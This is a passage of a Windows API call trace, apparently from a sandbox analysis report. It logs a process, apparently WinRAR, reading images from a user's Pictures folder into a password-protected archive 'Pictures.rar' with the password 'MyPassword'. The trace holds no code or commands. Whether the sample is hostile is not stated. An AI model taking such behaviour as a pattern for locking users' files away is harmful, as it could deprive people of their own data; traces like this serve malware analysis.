returned 0x203ab0 [0059.573] WriteFile (in: hFile=0x198, lpBuffer=0x203ab3*, nNumberOfBytesToWrite=0x7b, lpNumberOfBytesWritten=0x167f30, lpOverlapped=0x0 | out: lpBuffer=0x203ab3*, lpNumberOfBytesWritten=0x167f30*=0x7b, lpOverlapped=0x0) returned 1 [0059.573] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8be10 [0059.573] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x7b) returned 0x203c60 [0059.573] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fed0 | out: hHeap=0x1b0000) returned 1 [0059.573] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x203ab0 | out: hHeap=0x1b0000) returned 1 [0059.573] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d210*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x16d210*=0) returned 0x365eb [0059.573] CloseHandle (hObject=0x1b0) returned 1 [0059.573] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0059.573] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.573] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0059.573] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.573] FindFirstFileW (in: lpFileName="6so3uw\\9Cnbfi2a\\_J-TfTf8bux6i5ev.jpg", lpFindFileData=0x16c2d0 | out: lpFindFileData=0x16c2d0) returned 0x3ba9290 [0059.573] FindClose (in: hFindFile=0x3ba9290 | out: hFindFile=0x3ba9290) returned 1 [0059.574] CreateFileW (lpFileName="6so3uw\\9Cnbfi2a\\_J-TfTf8bux6i5ev.jpg" (normalized: "c:\\users\\whuoxysd\\pictures\\6so3uw\\9cnbfi2a\\_j-tftf8bux6i5ev.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0059.574] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0e30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0059.574] GetTickCount () returned 0xa653fc [0059.574] GetWindowTextW (in: hWnd=0x10244, lpString=0x16d130, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0059.574] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0059.574] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16bce0, nMaxCount=2560 | out: lpString="adding") returned 6 [0059.574] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0059.574] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16bce0, nMaxCount=2560 | out: lpString="RIcQ1EmpXOwuZfKzm7T.bmp") returned 23 [0059.574] SetWindowTextW (hWnd=0x1024c, lpString="_J-TfTf8bux6i5ev.jpg") returned 1 [0059.574] GetTickCount () returned 0xa653fc [0059.574] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0059.574] CryptAcquireContextW (in: phProv=0x16d4c0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x16d4c0*=0x1d25f0) returned 1 [0059.575] CryptGenRandom (in: hProv=0x1d25f0, dwLen=0x10, pbBuffer=0x16d540 | out: pbBuffer=0x16d540) returned 1 [0059.575] CryptReleaseContext (hProv=0x1d25f0, dwFlags=0x0) returned 1 [0059.575] GetSystemTime (in: lpSystemTime=0x16d458 | out: lpSystemTime=0x16d458*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x15, wMilliseconds=0xfd)) [0059.575] SystemTimeToFileTime (in: lpSystemTime=0x16d458, lpFileTime=0x16d450 | out: lpFileTime=0x16d450) returned 1 [0059.575] QueryPerformanceCounter (in: lpPerformanceCount=0x16d480 | out: lpPerformanceCount=0x16d480*=13491503359) returned 1 [0059.575] ReadFile (in: hFile=0x1b0, lpBuffer=0x36d0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x16d560, lpOverlapped=0x0 | out: lpBuffer=0x36d0040*, lpNumberOfBytesRead=0x16d560*=0x10cc2, lpOverlapped=0x0) returned 1 [0059.576] ReadFile (in: hFile=0x1b0, lpBuffer=0x36e0d02, nNumberOfBytesToRead=0xef33e, lpNumberOfBytesRead=0x16d560, lpOverlapped=0x0 | out: lpBuffer=0x36e0d02*, lpNumberOfBytesRead=0x16d560*=0x0, lpOverlapped=0x0) returned 1 [0059.576] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 1 [0059.576] GetMessageW (in: lpMsg=0x16d400, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x16d400) returned 1 [0059.576] GetFocus () returned 0x10268 [0059.576] IsDialogMessageW (hDlg=0x10244, lpMsg=0x16d400) returned 1 [0059.576] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.576] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8be40 [0059.576] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8be70 [0059.576] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8be70, Size=0x48) returned 0x26fed0 [0059.576] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x30) returned 0x27c230 [0059.576] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8be70 [0059.576] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8be70, Size=0x48) returned 0x26fe80 [0059.576] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27c230 | out: hHeap=0x1b0000) returned 1 [0059.576] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fed0 | out: hHeap=0x1b0000) returned 1 [0059.576] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8be70 [0059.576] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bea0 [0059.576] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8bea0 | out: hHeap=0x1b0000) returned 1 [0059.576] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8be70 | out: hHeap=0x1b0000) returned 1 [0059.576] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8be40, Size=0x48) returned 0x26fed0 [0059.576] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x26fed0, Size=0x7b) returned 0x203ab0 [0059.576] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fe80 | out: hHeap=0x1b0000) returned 1 [0059.576] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x203ab0 | out: hHeap=0x1b0000) returned 1 [0059.576] GetTickCount () returned 0xa6540b [0059.576] QueryPerformanceCounter (in: lpPerformanceCount=0x16d3a0 | out: lpPerformanceCount=0x16d3a0*=13491677517) returned 1 [0059.576] GetTickCount () returned 0xa6540b [0059.576] GetTickCount () returned 0xa6540b [0059.576] GetTickCount () returned 0xa6540b [0059.576] CoCreateInstance (in: rclsid=0x13f27f5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x13f27cc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0x16cf58 | out: ppv=0x16cf58*=0x3b8be40) returned 0x0 [0059.577] TaskbarList:ITaskbarList3:SetProgressState (This=0x3b8be40, hwnd=0x10244, tbpFlags=2) returned 0x0 [0059.577] TaskbarList:ITaskbarList3:SetProgressValue (This=0x3b8be40, hwnd=0x10244, ullCompleted=0x46eba, ullTotal=0x940593) returned 0x0 [0059.577] TaskbarList:IUnknown:Release (This=0x3b8be40) returned 0x0 [0059.577] GetLastError () returned 0x36b7 [0059.577] SetLastError (dwErrCode=0x36b7) [0059.577] GetDlgItem (hDlg=0x10244, nIDDlgItem=157) returned 0x10266 [0059.577] GetDlgItem (hDlg=0x10244, nIDDlgItem=152) returned 0x10264 [0059.577] GetWindowTextW (in: hWnd=0x10264, lpString=0x16bb20, nMaxCount=2560 | out: lpString=" 1%") returned 5 [0059.577] SetWindowTextW (hWnd=0x10264, lpString=" 2%") returned 1 [0059.577] GetLastError () returned 0x0 [0059.577] SetLastError (dwErrCode=0x0) [0059.577] GetDlgItem (hDlg=0x10244, nIDDlgItem=164) returned 0x10260 [0059.577] GetWindowTextW (in: hWnd=0x10260, lpString=0x16bb20, nMaxCount=2560 | out: lpString=" 38%") returned 5 [0059.577] SetWindowTextW (hWnd=0x10260, lpString=" 76%") returned 1 [0059.578] SendMessageW (hWnd=0x10266, Msg=0x402, wParam=0x2, lParam=0x0) returned 0x1 [0059.578] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0059.578] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0059.578] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.578] ResetEvent (hEvent=0x1a4) returned 1 [0059.578] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.579] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0059.579] ResetEvent (hEvent=0x1a4) returned 1 [0059.579] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.581] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0059.581] ResetEvent (hEvent=0x1a4) returned 1 [0059.581] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.583] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0059.583] GetTickCount () returned 0xa6540b [0059.583] QueryPerformanceCounter (in: lpPerformanceCount=0x16d370 | out: lpPerformanceCount=0x16d370*=13492361614) returned 1 [0059.583] GetTickCount () returned 0xa6540b [0059.583] GetTickCount () returned 0xa6540b [0059.583] GetTickCount () returned 0xa6540b [0059.583] PeekMessageW (in: lpMsg=0x16d440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d440) returned 0 [0059.583] PeekMessageW (in: lpMsg=0x16d440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d440) returned 0 [0059.583] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.583] ResetEvent (hEvent=0x190) returned 1 [0059.583] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.584] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0059.584] ResetEvent (hEvent=0x190) returned 1 [0059.584] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.585] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0059.585] PeekMessageW (in: lpMsg=0x16d1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d1c0) returned 0 [0059.585] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.585] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d250*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d250*=0) returned 0x365eb [0059.585] SetFilePointer (in: hFile=0x198, lDistanceToMove=120, lpDistanceToMoveHigh=0x16d220*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d220*=0) returned 0x36663 [0059.585] CryptUnprotectMemory (in: pDataIn=0x16d0d0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16d0d0) returned 1 [0059.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x16d050, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0059.585] CryptUnprotectMemory (in: pDataIn=0x16cab0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16cab0) returned 1 [0059.586] CryptUnprotectMemory (in: pDataIn=0x16cbb0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16cbb0) returned 1 [0059.586] CryptUnprotectMemory (in: pDataIn=0x16cd30, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x16cd30) returned 1 [0059.586] WriteFile (in: hFile=0x198, lpBuffer=0x29afde0*, nNumberOfBytesToWrite=0x10d80, lpNumberOfBytesWritten=0x16d250, lpOverlapped=0x0 | out: lpBuffer=0x29afde0*, lpNumberOfBytesWritten=0x16d250*=0x10d80, lpOverlapped=0x0) returned 1 [0059.587] PeekMessageW (in: lpMsg=0x16d1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d1c0) returned 0 [0059.587] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.587] SetFilePointer (in: hFile=0x198, lDistanceToMove=222699, lpDistanceToMoveHigh=0x16d210*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x16d210*=0) returned 0x365eb [0059.587] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1698f0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1698f0*=0) returned 0x365eb [0059.587] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8be40 [0059.587] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8be70 [0059.587] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8be70, Size=0x48) returned 0x26fe80 [0059.587] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x30) returned 0x27c230 [0059.587] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8be70 [0059.587] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8be70, Size=0x48) returned 0x26fed0 [0059.587] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27c230 | out: hHeap=0x1b0000) returned 1 [0059.588] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fe80 | out: hHeap=0x1b0000) returned 1 [0059.588] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8be70 [0059.588] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bea0 [0059.588] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8bea0 | out: hHeap=0x1b0000) returned 1 [0059.588] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8be70 | out: hHeap=0x1b0000) returned 1 [0059.588] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8be40, Size=0x48) returned 0x26fe80 [0059.588] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x26fe80, Size=0x7b) returned 0x203ab0 [0059.588] WriteFile (in: hFile=0x198, lpBuffer=0x203ab3*, nNumberOfBytesToWrite=0x78, lpNumberOfBytesWritten=0x167f30, lpOverlapped=0x0 | out: lpBuffer=0x203ab3*, lpNumberOfBytesWritten=0x167f30*=0x78, lpOverlapped=0x0) returned 1 [0059.588] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8be40 [0059.588] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x78) returned 0x2a0ac50 [0059.588] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fed0 | out: hHeap=0x1b0000) returned 1 [0059.588] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x203ab0 | out: hHeap=0x1b0000) returned 1 [0059.588] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d210*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x16d210*=0) returned 0x473e3 [0059.588] CloseHandle (hObject=0x1b0) returned 1 [0059.588] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0059.588] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.588] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0059.588] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.588] FindFirstFileW (in: lpFileName="6so3uw\\c0kYrk2r.gif", lpFindFileData=0x16c2d0 | out: lpFindFileData=0x16c2d0) returned 0x3ba9290 [0059.588] FindClose (in: hFindFile=0x3ba9290 | out: hFindFile=0x3ba9290) returned 1 [0059.588] CreateFileW (lpFileName="6so3uw\\c0kYrk2r.gif" (normalized: "c:\\users\\whuoxysd\\pictures\\6so3uw\\c0kyrk2r.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0059.588] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2df230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0059.588] GetTickCount () returned 0xa6540b [0059.588] GetWindowTextW (in: hWnd=0x10244, lpString=0x16d130, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0059.588] GetDlgItem (hDlg=0x10244, nIDDlgItem=156) returned 0x1024a [0059.588] GetWindowTextW (in: hWnd=0x1024a, lpString=0x16bce0, nMaxCount=2560 | out: lpString="adding") returned 6 [0059.589] GetDlgItem (hDlg=0x10244, nIDDlgItem=155) returned 0x1024c [0059.589] GetWindowTextW (in: hWnd=0x1024c, lpString=0x16bce0, nMaxCount=2560 | out: lpString="_J-TfTf8bux6i5ev.jpg") returned 20 [0059.589] SetWindowTextW (hWnd=0x1024c, lpString="c0kYrk2r.gif") returned 1 [0059.589] GetTickCount () returned 0xa6540b [0059.589] PeekMessageW (in: lpMsg=0x16d510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d510) returned 0 [0059.589] CryptAcquireContextW (in: phProv=0x16d4c0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x16d4c0*=0x1d25f0) returned 1 [0059.589] CryptGenRandom (in: hProv=0x1d25f0, dwLen=0x10, pbBuffer=0x16d540 | out: pbBuffer=0x16d540) returned 1 [0059.589] CryptReleaseContext (hProv=0x1d25f0, dwFlags=0x0) returned 1 [0059.589] GetSystemTime (in: lpSystemTime=0x16d458 | out: lpSystemTime=0x16d458*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x15, wMilliseconds=0x10c)) [0059.589] SystemTimeToFileTime (in: lpSystemTime=0x16d458, lpFileTime=0x16d450 | out: lpFileTime=0x16d450) returned 1 [0059.589] QueryPerformanceCounter (in: lpPerformanceCount=0x16d480 | out: lpPerformanceCount=0x16d480*=13492979637) returned 1 [0059.589] ReadFile (in: hFile=0x1b0, lpBuffer=0x36d0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x16d560, lpOverlapped=0x0 | out: lpBuffer=0x36d0040*, lpNumberOfBytesRead=0x16d560*=0x127a6, lpOverlapped=0x0) returned 1 [0059.590] ReadFile (in: hFile=0x1b0, lpBuffer=0x36e27e6, nNumberOfBytesToRead=0xed85a, lpNumberOfBytesRead=0x16d560, lpOverlapped=0x0 | out: lpBuffer=0x36e27e6*, lpNumberOfBytesRead=0x16d560*=0x0, lpOverlapped=0x0) returned 1 [0059.590] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 0 [0059.590] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.590] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8be70 [0059.590] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bea0 [0059.590] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8bea0, Size=0x48) returned 0x26fed0 [0059.590] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x30) returned 0x27c230 [0059.590] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bea0 [0059.590] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8bea0, Size=0x48) returned 0x26fe80 [0059.590] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x27c230 | out: hHeap=0x1b0000) returned 1 [0059.590] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fed0 | out: hHeap=0x1b0000) returned 1 [0059.590] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bea0 [0059.591] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20) returned 0x3b8bed0 [0059.591] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8bed0 | out: hHeap=0x1b0000) returned 1 [0059.591] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x3b8bea0 | out: hHeap=0x1b0000) returned 1 [0059.591] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8be70, Size=0x48) returned 0x26fed0 [0059.591] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x26fed0, Size=0x7a) returned 0x203ab0 [0059.692] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26fe80 | out: hHeap=0x1b0000) returned 1 [0059.692] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x203ab0 | out: hHeap=0x1b0000) returned 1 [0059.694] GetTickCount () returned 0xa65479 [0059.694] GetLastError () returned 0x0 [0059.694] SetLastError (dwErrCode=0x0) [0059.694] GetDlgItem (hDlg=0x10244, nIDDlgItem=158) returned 0x10250 [0059.694] GetDlgItem (hDlg=0x10244, nIDDlgItem=153) returned 0x1024e [0059.694] GetWindowTextW (in: hWnd=0x1024e, lpString=0x16bb20, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0059.694] SendMessageW (hWnd=0x10250, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x64 [0059.695] QueryPerformanceCounter (in: lpPerformanceCount=0x16d3a0 | out: lpPerformanceCount=0x16d3a0*=13503560604) returned 1 [0059.695] GetTickCount () returned 0xa65479 [0059.695] GetLastError () returned 0x0 [0059.695] SetLastError (dwErrCode=0x0) [0059.695] GetDlgItem (hDlg=0x10244, nIDDlgItem=154) returned 0x10256 [0059.695] GetWindowTextW (in: hWnd=0x10256, lpString=0x16bf80, nMaxCount=2560 | out: lpString="00:00:01") returned 8 [0059.695] SetWindowTextW (hWnd=0x10256, lpString="00:00:03") returned 1 [0059.696] GetTickCount () returned 0xa65479 [0059.696] GetTickCount () returned 0xa65479 [0059.696] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 1 [0059.696] GetMessageW (in: lpMsg=0x16d400, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x16d400) returned 1 [0059.696] GetFocus () returned 0x10268 [0059.696] IsDialogMessageW (hDlg=0x10244, lpMsg=0x16d400) returned 1 [0059.696] PeekMessageW (in: lpMsg=0x16d470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d470) returned 1 [0059.696] GetMessageW (in: lpMsg=0x16d400, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x16d400) returned 1 [0059.696] GetFocus () returned 0x10268 [0059.696] IsDialogMessageW (hDlg=0x10244, lpMsg=0x16d400) returned 1 [0059.696] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.696] ResetEvent (hEvent=0x1a4) returned 1 [0059.696] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.697] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0059.697] ResetEvent (hEvent=0x1a4) returned 1 [0059.697] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.700] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0059.700] ResetEvent (hEvent=0x1a4) returned 1 [0059.700] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.702] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0059.703] GetTickCount () returned 0xa65488 [0059.703] QueryPerformanceCounter (in: lpPerformanceCount=0x16d370 | out: lpPerformanceCount=0x16d370*=13504295588) returned 1 [0059.703] GetTickCount () returned 0xa65488 [0059.703] GetTickCount () returned 0xa65488 [0059.703] GetDlgItem (hDlg=0x10244, nIDDlgItem=162) returned 0x10258 [0059.703] ShowWindow (hWnd=0x10258, nCmdShow=9) returned 0 [0059.703] GetDlgItem (hDlg=0x10244, nIDDlgItem=151) returned 0x1025a [0059.703] ShowWindow (hWnd=0x1025a, nCmdShow=9) returned 0 [0059.703] GetLastError () returned 0x0 [0059.703] SetLastError (dwErrCode=0x0) [0059.703] GetDlgItem (hDlg=0x10244, nIDDlgItem=151) returned 0x1025a [0059.703] GetWindowTextW (in: hWnd=0x1025a, lpString=0x16bf50, nMaxCount=2560 | out: lpString="") returned 0 [0059.703] SetWindowTextW (hWnd=0x1025a, lpString="00:01:19") returned 1 [0059.704] GetTickCount () returned 0xa65488 [0059.704] PeekMessageW (in: lpMsg=0x16d440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d440) returned 0 [0059.704] PeekMessageW (in: lpMsg=0x16d440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d440) returned 0 [0059.704] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.704] ResetEvent (hEvent=0x190) returned 1 [0059.704] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.705] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0059.705] ResetEvent (hEvent=0x190) returned 1 [0059.705] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0059.705] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0059.705] PeekMessageW (in: lpMsg=0x16d1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d1c0) returned 0 [0059.705] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.705] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d250*=0, 